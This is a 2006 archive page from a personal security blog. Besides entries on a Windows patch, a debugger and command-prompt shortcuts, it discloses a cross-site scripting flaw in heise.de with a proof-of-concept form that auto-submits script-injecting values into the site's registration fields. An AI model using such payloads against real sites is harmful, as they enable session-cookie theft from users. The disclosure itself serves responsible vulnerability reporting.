morph3us.org

Entries from January 2006

Quicksearch

Categories

Syndication

Tagged entries

MS06-001

  (Friday, January 6. 2006)
Patch it baby, patch it.

Vulnerability in Graphics Rendering Engine Could Allow Remote Code Execution (912919)
Download M$06-001
Posted by in Windows at 03:17
Defined tags for this entry: ,
Comments (0) | Trackbacks (0)

XSS on heise.de

  (Tuesday, January 3. 2006)
heise.de - a German news site for, amongst others, security related topics - is vulnerable for XSS (Cross Site Scripting). I contacted the webmaster of heise.de about this on December 23 but I did not receive an answer and the XSS vulnerability is still not addressed.

PoC:
<form method="post" action="http://www.heise.de/registration/"
  name="heise">
  <input type="text" name="uid" size="20" value=''>
  <input type="text" name="vorname" size="20"
 value='"><script>alert(document.cookie)</script>'>
  <input type="text" name="name" size="20"
 value='"><script>alert(document.cookie)</script>'>
</form>
<body onload="heise.submit();">

heise-xss-poc.txt

UPDATE: 2006-01-09: 20:26
Hallo Herr Waldegger,

vielen Dank für Ihren Hinweis. Aufgrund der Feiertage hat die Behebung leider etwas länger gedauert.

Mit freundlichen Grüßen
heise online
Webmaster
Posted by in Security at 06:33
Defined tags for this entry: , ,
Comment (1) | Trackbacks (0)

Obsidian

  (Tuesday, January 3. 2006)
Obsidian is a so called non-intrusive debugger for NT systems. It does not use the Win32 Debugging API for debugging purposes therefore Obsidian makes it possible to attach and detach from a running process transparently - normally a process will die along with the debugger. Check out Obsidian: deneke.biz for further details.

Related work:
Gemini Lite: A Non-intrusive Debugger for Windows NT
Posted by in Windows at 05:59
Defined tags for this entry:
Comments (0) | Trackbacks (0)

Some Windoze commands/shortcuts you may do not know..

  (Tuesday, January 3. 2006)
Shortcuts for command prompt:
UP/DOWN ARROWS            Recall commands
ESC                       Clears command line 
F7                        Displays command history
ALT+F7                    Clears command history
F8                        Searches command history
F9                        Selects a command by number
ALT+F10                   Clears macro definitions

Continue reading this entry..
Posted by in Windows at 05:00
Defined tags for this entry:
Comments (0) | Trackbacks (0)
(Page 1 of 1, totaling 4 entries)